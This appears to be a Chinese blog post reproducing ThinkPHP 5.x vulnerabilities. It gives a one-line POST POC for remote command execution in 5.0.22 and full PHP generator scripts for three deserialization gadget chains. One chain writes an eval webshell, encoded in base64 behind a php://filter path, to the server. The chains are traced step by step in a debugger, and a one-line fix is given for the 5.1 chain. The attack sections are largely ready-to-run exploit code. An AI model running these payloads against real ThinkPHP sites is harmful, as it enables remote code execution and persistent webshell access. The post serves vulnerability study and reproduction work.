Thinkphp5.x全漏洞复现分析
基础知识
命名空间和子命名空间
我们可以把namespace理解为一个单独的空间,事实上它也就是一个空间而已,子命名空间那就是空间里再划分几个小空间,举个例子:
<?php
namespace animal\cat;
class cat{
public function __construct()
{
echo "meow"."\n";
}
}
namespace animal\dogA;
class dog{
public function __construct()
{
echo "A:wooffff"."\n";
}
}
namespace animal\dogB;
class dog
{
public function __construct()
{
echo "B:wooffff"."\n";
}
}
namespace animal\dogC;
class dog
{
public function __construct()
{
echo "C:wooffff"."\n";
}
}
new dog();
//下面输出的都是dogA
new \animal\dogA\dog();
use animal\dogA;
new dogA\dog();
use animal\dogA as alias;
new alias\dog();
//输出cat
use animal\cat\cat;
new cat();
当有多个子命名空间有相同名称类时,不指定使用哪个命名空间的情况下取最后定义的命名空间中的类,比如上面的dog
取的时dogC
中的类,在上面的例子中animal
是一个命名空间,animal\cat animal\dogA animal\dogB animal\dogC
都是其子命名空间,可以看到这样一共就存在四个命名空间,而使用各个命名空间的方法就是将命名空间的名字写完整,use是什么意思呢?其实和include和require有点像,就是在当前命名空间引入其他命名空间的别名,比如use animal\dogA as alias
其中的alias就是别名。use animal\cat\cat
这句话就是直接指定了animal\cat
命名空间的cat
类了,我们只需要直接new就可以创建cat对象,不需要在前面加命名空间
类的继承
这个简单讲下,php中是通过extend
关键字实现类的继承的,子类可以覆盖父类的方法,子类也可以通过parent::
关键字访问父类被覆盖的方法
<?php
class father{
public $name="Json";
private $age=30;
public $hobby="game";
public function say(){
echo "i am father \n";
}
public function smoke(){
echo "i got smoke \n";
}
}
class son extends father{
public $name="Boogipop";
private $age=19;
public function say()
{
echo "i am son \n";
}
public function parentsay(){
parent::say();
}
}
$son=new son();
$son->say();
$son->smoke();
$son->parentsay();
echo $son->hobby;
trait修饰符
trait修饰符使得被修饰的类可以进行复用,增加了代码的可复用性,使用这个修饰符就可以在一个类包含另一个类
<?php
trait test{
public function test(){
echo "test\n";
}
}
class impl{
use test;
public function __construct()
{
echo "impl\n";
}
}
$t=new impl();
$t->test();
// 输出
impl
test
我们在impl类中use了test这个类,因此我们可以调用其中的方法,有点抽象的意思
Thinkphp开发手册
Thinkphp5开发手册
不懂就查
Thinkphp5.0.22 RCE漏洞
测试
POC:POST:_method=__construct&filter=system&server[REQUEST_METHOD]=whoami
前提是debug选项要开启
流程分析
下断点调试,入口就在public/index.php
中
跟进start.php
进入run方法
跟进routeCheck方法,没什么大用,直接定位到Request.php
中的method
方法
注意$_POST[Config::get('var_method')]
,进入Config::get
分析一下逻辑
其实返回的就是_method
,然后退出来回到method方法中,$this->method
对应的就是$_POST['_method']
,我们传入的是__construct
,转为大写之后就是__CONSTRUCT
,然后调用$this->{$this->method}($_POST)
,也就是$this->__CONSTRUCT($_POST)
,进入
这里开始遍历POST的元素,注意$this->$name
,这个写法很明显有变量覆盖的漏洞,这里轻松的覆盖掉$this->filter
和$this->server
,继续往后走,进入dispatch
没啥东西,退出往下走
这里得开启了debug
才能进入,我们进入param
方法
又进入method
方法
进入server
方法
进入input
方法
这里给$data="whoami"
,然后进入getFilter
方法
最终$filter=['system', null]
,退出
进入filterValue
方法
调用了call_user_func
,执行命令
Thinkphp5.1.x反序列化链
环境搭建
准备一个反序列化入口:
<?php
namespace app\index\controller;
class Index
{
public function index($input="")
{
echo "ThinkPHP5_Unserialize:\n";
unserialize(base64_decode($input));
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}
public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}
攻击测试
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["F12"=>["calc.exe","calc"]];
$this->data = ["F12"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'F12'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
成功执行
流程分析
反序列化处打个断点
进入think\process\pipes\Windows
的__destruct
方法
进入removeFiles
方法
$filename
是think\model]\Pivot
对象,file_exists
方法触发它的__toString
方法,但是Pivot
类是没有__toString
方法的,只能找父类Module
,Module
中使用use调用了Conversion
类,Conversion
被用trait修饰,所以最终调用的是Conversion
类的__toString
方法
跟进toJson
方法
跟进$this->toArray
方法
这里遍历$this->append
,我们的append
是这个值
先进入getRelation
,传入的key值是F12
每个条件都满足不了,直接return,所以$relation
的值为null,满足if,进入getAttr
方法
进入getData
方法
我们的$this->data
中是有F12
这个键值的,所以返回$this->data[$name]
,也就是Request
对象,返回之后,$relation
就是Request
对象了
触发visible
方法,但是Request
类并没有这个方法,所以触发Request
的__call
方法
经过array_unshift
方法,$args数组被插入Request
对象
然后执行call_user_func_array
方法,$this->hook[$method]
就是isAjax
方法,跟进
调用param
方法,$this->config['var_ajax']
的值是F12
进入input
方法
进入getData
方法
接受我们的恶意传参的值,返回给$data,又是进入getFilter
方法
也是给$filter赋值了
为system
往下走,进入filterValue
方法
call_user_func
执行命令
修复方式
官方直接把Request
中的__call
魔术方法给抹除了,因此链子后半段就断掉了,也就是说以后打比赛修复的化,直接删,不影响业务
Thinkphp5.0.x反序列化链
环境搭建
反序列化入口:
<?php
namespace app\index\controller;
class Index
{
public function index($input="")
{
echo "ThinkPHP5_Unserialize:\n";
unserialize(base64_decode($input));
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}
public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}
攻击测试
<?php
//__destruct
namespace think\process\pipes{
class Windows{
private $files=[];
public function __construct($pivot)
{
$this->files[]=$pivot; //传入Pivot类
}
}
}
//__toString Model子类
namespace think\model{
class Pivot{
protected $parent;
protected $append = [];
protected $error;
public function __construct($output,$hasone)
{
$this->parent=$output; //$this->parent等于Output类
$this->append=['a'=>'getError'];
$this->error=$hasone; //$modelRelation=$this->error
}
}
}
//getModel
namespace think\db{
class Query
{
protected $model;
public function __construct($output)
{
$this->model=$output; //get_class($modelRelation->getModel()) == get_class($this->parent)
}
}
}
namespace think\console{
class Output
{
private $handle = null;
protected $styles;
public function __construct($memcached)
{
$this->handle=$memcached;
$this->styles=['getAttr'];
}
}
}
//Relation
namespace think\model\relation{
class HasOne{
protected $query;
protected $selfRelation;
protected $bindAttr = [];
public function __construct($query)
{
$this->query=$query; //调用Query类的getModel
$this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
$this->bindAttr=['a'=>'admin']; //控制__call的参数$attr
}
}
}
namespace think\session\driver{
class Memcached{
protected $handler = null;
public function __construct($file)
{
$this->handler=$file; //$this->handler等于File类
}
}
}
namespace think\cache\driver{
class File{
protected $options = [
'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'cache_subdir'=>false,
'prefix'=>'',
'data_compress'=>false
];
protected $tag=true;
}
}
namespace {
$file=new think\cache\driver\File();
$memcached=new think\session\driver\Memcached($file);
$output=new think\console\Output($memcached);
$query=new think\db\Query($output);
$hasone=new think\model\relation\HasOne($query);
$pivot=new think\model\Pivot($output,$hasone);
$windows=new think\process\pipes\Windows($pivot);
echo base64_encode(serialize($windows));
}
这里照着thinkphp的路由打,访问/public/index/index?input=poc
,可以看到public文件下生成了两个php文件
第一个就是我们的webshell,第二个是个乱码文件,等会分析原因
流程分析
前面一点点是跟tp5.1的流程是一样的
从这里开始往下看,有4个重要的断点处
首先是$relation
的赋值,跟进parseName
方法
直接返回$name
的值,$relation==getError
,接下来的if判断,Modle
类有getError
方法,因此过,下面调用getError
方法
返回$error
,这个变量可控,我们的payload里是这样给的值,这个$hasone下面再看是什么值
接下来是对$value
的赋值,进入getRelationData
方法
看这一段if判断,我们需要满足三个条件
- $this->parent
- !$modelRelation->isSelfRelation()
- get_class($modelRelation->getModel()) == get_class($this->parent))
首先我们要知道在toString这一步我们需要做什么,5.1版本是触发了__call方法,那么这里我们也应该寻找能否找到合适的call方法,最后结果就是think\console\Output
类,那么我们应该让这个方法返回一个Output对象,这样在出去之后执行$value->getAttr($attr)
才会触发__call
魔术方法,而该方法中value的值就是$this->parent
,所以第一个条件parent需要为Output对象
对于第二个条件,$modelRelation
我们已经完成了赋值,为HasOne
对象,我们观察一下isSelfRelation
方法,返回Relation
类重点selfRelation
属性
由于hasone类是Relation类的子类,因此我们对$this->selfRelation
的值可控,只需让他为false即可
最后一个条件需要让Hasone::getModel
返回一个Output对象($this->parent),观察该方法,还是Relation
类
全局搜索getModel方法,/thinkphp/library/think/db/Query.php
中的getModel方法我们可控,所以让$this->query
为Query.php
的实例即可,然后让他的model属性为Output
对象
完成对$value
的赋值后,第三个断点,是对$bindAttr
的赋值,进入getBindAttr
方法
返回OneToOne
类的$bindAttr
属性,HasOne
是OneToOne
的子类,所以直接在HasOne
中赋值即可,所以这个属性可控,这里我们设置为一个数组["a"=>"admin"]
,这里的admin和结果中的文件名有关
在进入第四个断点之前,对$bindAttr
有一个键值遍历,最终$key==a,$attr==admin
,第四个断点$value->getAttr()
,触发Output
对象的__call
方法
array_unshift
把getAttr
插入$args
数组的最前头,然后调用block
方法,跟进
该方法中又调用自己的writeln
方法,参数为<getAttr>admin</getAttr>
,这是上面2个变量拼贴来的,跟进writeln方法调用write,参数为之前带下来的<getAttr>admin</getAttr>
,另外两个分别为true,0
套个娃
这里的handle对象由我们控制,我们设置的是think\session\driver\Memcached
,进入它的write方法
这里Memcached
的hander属性我们也控制,设置为think\cache\driver\File
,进入它的set方法
进入getCacheKey
方法,看名字也知道这个跟文件名有关
虽然$filename
可控,但是$data
里有个死亡函数exit
,所以我们上面的php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
是为了绕过死亡函数
这里$value的值并不能控制,所以$data
的值还有待商榷,我们继续往下走,进入setTagItem
方法
在该方法中最后又会调用一次set,然后这次value我们可控,就是传进来的name
,也就是$filename
又调用一次set,说明又执行了一次file_put_contents
,所以说我们生成了两个php文件,第二个文件名就是php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php+md5(tag_c4ca4238a0b923820dcc509a6f75849b)+.php
最终的结果是
file_put_contents("php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php3b58a9545013e88c7186db11bb158c44.php", "<?php\n//000000000000\n exit();?>\ns:158:"php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php63ac11a7699c5c57d85009296440d77a.php";")
,之前有一篇文章讲过file_put_contents对死亡函数的绕过,利用编码的性质,将其变成其它字符,所以说里面有用的其实只有PD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g
也就是我们的webshell,其它的字符都会因为base64解码而改变,所以我们生成的php文件中才有很多乱码
Thinphp5.0.x的另一条反序列化链
攻击测试
<?php
namespace think;
use think\Model\Relation\HasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append = ['getError'];
$this->error = new HasOne();
$this->parent = new Output();
}
}
namespace think\model\relation;
use think\db\Query;
class HasOne{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct()
{
$this->selfRelation = false;
$this->query = new Query();
$this->bindAttr = ["aaa"=>"222"];
}
}
namespace think\db;
use think\console\Output;
class Query{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle;
protected $styles = [
"getAttr"
];
public function __construct()
{
$this->handle = new Memcached();
}
}
namespace think\cache;
abstract class Driver{
}
namespace think\session\driver;
use think\cache\driver\Memcache;
use think\cache\Driver;
class Memcached { //个人认为防止重名
protected $handler;
protected $config = [ //config一定要写全,不然打不通
'session_name' => '', // memcache key前缀
'username' => '', //账号
'password' => '', //密码
'host' => '127.0.0.1', // memcache主机
'port' => 11211, // memcache端口
'expire' => 3600, // session有效期
];
public function __construct()
{
$this->handler = new Memcache();
}
}
namespace think\cache\driver;
use think\Request;
class Memcache{
protected $tag = "haha";
protected $handler;
protected $options = ['prefix'=>'haha/'];
public function __construct()
{
$this->handler = new Request();
}
}
namespace think;
class Request{
protected $get = ["haha"=>'dir'];
protected $filter;
public function __construct()
{
$this->filter = 'system';
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
namespace think\process\pipes;
use think\Model\Pivot;
class Windows{
private $files = [];
public function __construct(){
$this->files = [new Pivot()];
}
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
这条链直接就rce了,方便的多
流程分析
前头基本一样,到之前说到4个断点处,从第三个断点开始不同
可控的bindAttr
这是设置成这样,没什么特殊含义(就是想说这里已经不重要了,之前是为了控制__call
的参数
之后又开始相同了,到Memcached
类中的write方法
这次调用的set方法是think\cache\driver\Memcache
的
这里的$tag
被控制为haha
,我们进入has
方法
进入getCacheKey
方法
这里的options['prefix']
我们控制为haha/
,返回拼接的内容,然后进入think\Request
的get方法
很眼熟,这里明显进入了我们上头的tp5.0.22 RCE漏洞
的最后部分,这里的$get
我们是控制为['haha'=>'dir']
,进入input方法
进入getFilter
方法
$filter
被赋值为['system', null]
,进入filterValue
方法
rce,结束
Thinkphp5.x全漏洞复现分析的更多相关文章
- 路由器漏洞复现分析第三弹:DVRF INTRO题目分析
这个项目的目的是来帮助人们学习X86_64之外其他架构环境,同时还帮助人们探索路由器固件里面的奥秘. 本文通过练习DVRF 中INTRO 部分的题目来学习下MIPS 结构下的各种内存攻击. DVRF: ...
- CVE-2021-3129:Laravel远程代码漏洞复现分析
摘要:本文主要为大家带来CVE-2021-3129漏洞复现分析,为大家在日常工作中提供帮助. 本文分享自华为云社区<CVE-2021-3129 分析>,作者:Xuuuu . CVE-202 ...
- struts2漏洞复现分析合集
struts2漏洞复现合集 环境准备 tomcat安装 漏洞代码取自vulhub,使用idea进行远程调试 struts2远程调试 catalina.bat jpda start 开启debug模式, ...
- 路由器漏洞复现分析第二弹:CNVD-2018-01084
1月17日,CNVD公开了D-LinkDIR 615/645/815 service.cgi远程命令执行漏洞(CNVD-2018-01084),freebuf上有前辈写了一篇漏洞复现和poc的文章(h ...
- Wordpress4.9.6 任意文件删除漏洞复现分析
第一章 漏洞简介及危害分析 1.1漏洞介绍 WordPress可以说是当今最受欢迎的(我想说没有之一)基于PHP的开源CMS,其目前的全球用户高达数百万,并拥有超过4600万次的超高下载量.它是一个开 ...
- 泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析
漏洞复现 影响版本: E-cology 7.0 E-cology 8.0 E-cology 8.1 E-cology 9.0 直接在网站根目录后加入组件访问路径 /weaver/bsh.servl ...
- 【Android漏洞复现】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗
文章作者MG1937 CNBLOG博客:ALDYS4 QQ:3496925334 0x00 StrandHogg漏洞详情 StrandHogg漏洞 CVE编号:暂无 [漏洞危害] 近日,Android ...
- Ecshop 2.x_3.x SQL注入和代码执行漏洞复现和分析
0x00 前言 问题发生在user.php的的显示函数,模版变量可控,导致注入,配合注入可达到远程代码执行 0x01 漏洞分析 1.SQL注入 先看user.php的$ back_act变量来源于HT ...
- WebLogic任意文件上传漏洞复现与分析 -【CVE-2018-2894 】
CVE-2018-2894 漏洞影响版本:10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3 下载地址:http://download.oracle.com/otn/nt/m ...
- Mysql LOAD DATA读取客户端任意文件漏洞复现(原理分析)
环境搭建 怎么设置Mysql支持外联? use mysql; grant all privileges on *.* to root@'%' identified by '密码'; //授权语句 fl ...
随机推荐
- 摆脱鼠标系列 - vscode vim - 自动切换到英文 - im-select
为什么 摆脱鼠标系列 - vscode vim - 自动切换到英文 - im-select 省得每次都得按 shfit 下载软件 https://gitee.com/pengchenggang/im- ...
- Miracast技术详解(二):RTSP协议
目录 RTSP概述 抓包准备 WFD能力协商(Capability Negotiation) RTSP M1 Messages RTSP M2 Messages RTSP M3 Messages RT ...
- Linux socket 摘要(一)
PS:要转载请注明出处,本人版权所有. PS: 这个只是基于<我自己>的理解, 如果和你的原则及想法相冲突,请谅解,勿喷. 前置说明 本文作为本人csdn blog的主站的备份.(Bl ...
- python高级技术(线程)
一 线程理论 1 有了进程为什么要有线程 进程有很多优点,它提供了多道编程,让我们感觉我们每个人都拥有自己的CPU和其他资源,可以提高计算机的利用率.很多人就不理解了,既然进程这么优秀,为什么还要线程 ...
- proteus之四状态锁定器
proteus之四状态锁定器 1.实验原理 利用4071(或门)的锁定功能,当输入为1时输出结果锁定为1,使结果锁定在这个地方.4028(BCD译码器)将输入转化为输出,利用输出反馈到或门用于自锁. ...
- KingbaseESV8R6普通用户无权限执行vacuum
背景 数据库日志有如下提示: WARNING: skipping "pivot_t1" --- only table or database owner can vacuum it ...
- 【Java】归并排序
代码: 1 public static void mergeSort(int[] arr) { 2 if (arr == null || arr.length < 2) { 3 return; ...
- 冲刺 NOIP2024 之动态规划专题
专题链接 B - Birds \(3.19\) . 混合背包 \(DP\) . 定义 \(f_{i,j}\) 表示取到鸟巢 \(i\) ,获得 \(j\) 只小鸟时所剩的魔力值. 显然有 \(f_{0 ...
- Advanced .Net Debugging 6:程序集加载器
一.简介 这是我的<Advanced .Net Debugging>这个系列的第六篇文章.这篇文章的内容是原书的第二部分的[调试实战]的第四章.这章主要讲的是程序集加载器,比如:CLR 加 ...
- #树状数组,dp#洛谷 3506 [POI2010]MOT-Monotonicity 2
题目 给出\(N\)个正整数\(a[1..N]\),再给出\(K\)个关系符号(>.<或=)\(s[1..k]\). 选出一个长度为\(L\)的子序列(不要求连续),要求这个子序列的第\( ...